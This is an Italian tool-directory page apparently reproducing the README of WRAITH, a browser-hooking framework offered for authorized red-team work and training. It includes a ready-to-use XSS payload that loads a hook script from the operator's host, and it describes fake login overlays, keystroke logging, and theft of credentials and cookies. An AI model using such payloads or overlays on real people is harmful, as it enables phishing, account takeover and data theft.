Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
wraith — Framework di hooking dei browser per red team autorizzati e formatori. Aggancia i browser tramite XSS, offre controllo interattivo post-exploitation, cattura di bottino blind-XSS, overlay di social engineering e un laboratorio di pratica. | Kitploit
Strumenti/GitHubGitHub/arcanum-sec/wraith
ExploitPhishingSicurezza WebPenetration TestingCommand and ControlIngegneria SocialeApprendimento e FormazioneRed TeamingLab e Pratica
GitHubarcanum-sec/wraith

wraith

Framework di hooking dei browser per red team autorizzati e formatori. Aggancia i browser tramite XSS, offre controllo interattivo post-exploitation, cattura di bottino blind-XSS, overlay di social engineering e un laboratorio di pratica.

160171442 mesi faRevisionato da Kitploit
Vedi RepositorySito web

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

WRAITH — framework per hooking del browser

Un framework moderno e autonomo per l'hooking dei browser, pensato per red team, ricercatori di sicurezza ed educatori — un successore clean-room di BeEF e degli strumenti di callback per blind-XSS che usiamo ogni giorno.

SOLO PER TEST DI SICUREZZA AUTORIZZATI, RICERCA E FORMAZIONE. WRAITH è uno strumento di sicurezza offensiva per dimostrare e testare tecniche di phishing / man-in-the-browser / blind-XSS. Usalo esclusivamente contro sistemi e persone su cui hai esplicita autorizzazione a testare. Sei responsabile dell'uso che ne fai.

Console operatore WRAITH


Perché lo abbiamo costruito

Nel corso del nostro lavoro in Arcanum, continuavamo a ricorrere a due diversi tipi di strumenti, desiderando che fossero un'unica cosa.

Da un lato c'era BeEF — il Browser Exploitation Framework — per il classico flusso di lavoro hook di un browser, poi operare dall'interno della sua sessione: keylogging su un finto login, ricognizione della rete locale, invio di un modulo a una vittima live. È lo strumento che usavamo per rendere reale il man-in-the-browser alle persone. Ma mostra i suoi anni, gran parte è inaffidabile nei browser odierni, e le overlay di social engineering sembrano login di un decennio fa.

Dall'altro lato c'erano i nostri framework di callback per blind-XSS preferiti (XSS Hunter, ezXSS): inserisci un payload in un campo, e nell'istante in cui si attiva da qualche parte che non puoi vedere, chiama a casa con il bottino — origine, cookie, DOM, uno screenshot.

Quello di cui avevamo sempre più bisogno — specialmente man mano che più target diventavano ecosistemi di applicazioni AI, dove testo non fidato scorre attraverso agenti, output di strumenti, code di revisione admin e console di supporto, e fa scattare JavaScript in luoghi dove nessuno guarda — era un unico framework che facesse entrambe le cose: il controllo interattivo e persistente post-exploitation di un hook BeEF, e il bottino fire-and-forget da callback blind-XSS, in un unico payload affidabile nei browser attuali e che somigli ai veri schermi di login di oggi.

Così abbiamo costruito WRAITH.

Attenzione: è un lavoro in corso

Rilasciamo WRAITH in anticipo, e di proposito. Preferiamo metterlo nelle mani delle persone che lo useranno davvero — e sentire cosa si rompe — piuttosto che tenerlo finché non è "finito".

Questo significa: aspettatevi spigoli e bug. Alcuni moduli sono più testati sul campo di altri, il comportamento dei browser cambia continuamente sotto di noi (vedi le note sullo scan di rete qui sotto), e le API possono cambiare tra versioni. Se incontri qualcosa, apri una issue — passi per la riproduzione, browser + versione, e cosa ti aspettavi sono oro. Le PR sono benvenute secondo i termini di contribuzione del progetto.


Avvio rapido (Docker)

Il percorso più veloce. Ti servono Docker + Docker Compose.

git clone https://github.com/Arcanum-Sec/wraith
cd wraith
./setup.sh

setup.sh ti guida attraverso tutto:

  1. Rileva il tuo IP pubblico (o ti permette di inserire un dominio / host personalizzato) così ogni hook e URL di payload viene creato con il tuo indirizzo.
  2. Ti fa impostare un nome utente + password operatore per il login alla console.
  3. Genera il segreto per la firma delle sessioni, scrive un .env gitignorato (chmod 600), e compila + avvia il container.
  4. Alla fine stampa i tuoi URL live e un payload XSS pronto all'uso:
  Console operatore : http://YOUR_IP:8090/operator/
  Pagina di login   : http://YOUR_IP:8090/login   (utente "operator")
  Pagina vittima demo : http://YOUR_IP:8090/demo/
  Payload hook      : http://YOUR_IP:8090/hook.js

  Payload XSS pronto all'uso:
    "><script src="http://YOUR_IP:8090/hook.js"></script>

Gestiscilo con i comandi compose standard:

docker compose logs -f      # osservalo
docker compose down         # ferma (mantiene ./data)
./setup.sh                  # riconfigura (ruota la password, cambia indirizzo, …)

Le sessioni catturate persistono in ./data/ sull'host — mai incluse nell' immagine, mai committate (.env e data/ sono gitignorati).

La console operatore è protetta da login ogni volta che è impostata una password operatore, con accesso tramite nome utente + password:

Login operatore

Eseguilo localmente senza Docker (dev)

npm install
npm start

Poi apri la console operatore su http://127.0.0.1:3000/operator/ e la pagina vittima demo su http://127.0.0.1:3000/demo/ (in un secondo browser/profilo). Su localhost, il login è disabilitato di default per comodità — il server rifiuta di legarsi a un'interfaccia pubblica senza una password operatore, così non puoi esporre accidentalmente un pannello aperto.


Funzionalità

Hook + console operatore

/hook.js è un payload piccolo. Inseriscilo in qualsiasi pagina che controlli (<script src="/hook.js"></script>) o consegnalo tramite un XSS nel tuo target. Il browser che lo carica apre un WebSocket verso l'operatore, si identifica (browser, OS, IP, pagina, UA), si riconnette automaticamente e sopravvive alla navigazione. Ogni browser hookato appare live nella console, dove ne scegli uno e lo piloti — la dashboard completa è l'immagine principale in cima a questo README: elenco dei browser hookati, dettaglio del target, controlli di deploy, feed attività live e credenziali catturate.

Overlay di social engineering

Overlay modernizzate di finto login, renderizzate in un shadow DOM isolato così che appaiano pixel-perfect su qualsiasi pagina host e sfumino la pagina dietro di loro come un vero modale di ri-autenticazione. Include LinkedIn, Facebook e Microsoft / Office 365 (autentico flusso a due passaggi email → password).

Overlay LinkedIn di ri-autenticazione su una pagina host

Keystroke live + credenziali catturate

Ogni carattere che il target digita in un'overlay viene trasmesso alla console in tempo reale, e le credenziali inviate finiscono in Credenziali Catturate — tutto persistito così che nulla vada perso al refresh o al riavvio.

Keystroke live e credenziale catturata

Page Capture — il bottino blind-XSS

Nell'istante in cui un browser si hooka, WRAITH attiva automaticamente Page Capture: esattamente ciò che un framework blind-XSS cattura quando il tuo payload si attiva da qualche parte che non puoi vedere — dove si è attivato (origine + URL + referrer), i cookie della vittima (non-HttpOnly), il DOM completo e uno screenshot. I fallimenti vengono riportati onestamente, perché sono la lezione: i cookie HttpOnly non compaiono mai, e CSP o il tainting del canvas cross-origin possono bloccare lo screenshot.

Bottino blind-XSS di Page Capture

Scarica lo strumento